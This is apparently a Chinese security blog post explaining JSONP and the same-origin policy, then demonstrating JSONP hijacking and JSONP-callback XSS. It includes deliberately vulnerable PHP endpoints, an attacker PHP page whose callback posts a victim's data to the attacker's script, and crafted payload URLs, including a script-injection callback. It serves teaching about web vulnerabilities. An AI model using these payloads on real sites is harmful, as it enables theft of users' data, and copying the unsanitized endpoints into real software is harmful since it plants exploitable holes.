zoukankan      html  css  js  c++  java
  • JSONP的安全问题

    0x01 Jsonp简介:

    Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

    为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP)呢?这是因为同源策略。

    同源策略,它是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略。

    同源的条件:

    1、协议相同

    2、域名相同

    3、端口相同

    相关文章:https://www.sojson.com/blog/121.html


    0x02 JSONP导致的劫持漏洞

    服务端 GetUser.php

    <?php
    header('Content-type: application/json');
    
    $jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
    
    $json_data='({"id":"1","name":"Aaron"})';
    
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
    ?>
    

    攻击者

    <?php
    
    $url = $_GET['url'] ? $_GET['url'] : "http://www.aaa.com";
    $callback = $_GET['c'] ? $_GET['c'] : "json";
    
    $url = htmlspecialchars(addslashes($url));
    $callback = htmlspecialchars(addslashes($callback));
    
    <script>
    
    function ccc(a){
        var info = JSON.stringify(a)
        $.post("./get.php", {
           info: info,
        },);
    }
    
    </script>
    
    <script src="'. $url .'?'.$callback .'=ccc"></script>';
    echo '<script src="./js/jquery-2.2.4.min.js"></script>';
    
    ?>
    
    
    

    攻击者构造了一个payload:

    http://攻击者/jsonp/index.php?c=服务端的回调参数&url=http://服务端/getUser.php

    然后将这个发送给受害者,当受害者一点击了,攻击者就能获取受害者相应的敏感信息


    0x02 JSONP导致的XSS漏洞

    服务端 GetUser.php

    <?php
    header('Content-type: application/json');
    
    $jsoncallback = $_REQUEST ['jsoncallback'];//获取回调函数名
    
    $json_data='({"id":"1","name":"Aaron"})';
    
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
    ?>
    

    攻击者构造了一个payload:

    http://服务端/getUser.php?jsoncallback=<script>alert(1)</script>

  • 相关阅读:
    Thrift的安装以及问题
    nodejs安装和配置
    angularjs ng-bind-html中的ng-model不生效
    设计模式之美---接口和抽象类的区别
    angular 8 不兼容IE11
    Xamarin 打包生成 Android apk 文件
    微服务的4个设计原则和19个解决方案
    RESTful API设计规范
    windows下 安装 rabbitMQ
    关于C#应用的授权认证
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12081659.html
Copyright © 2011-2022 走看看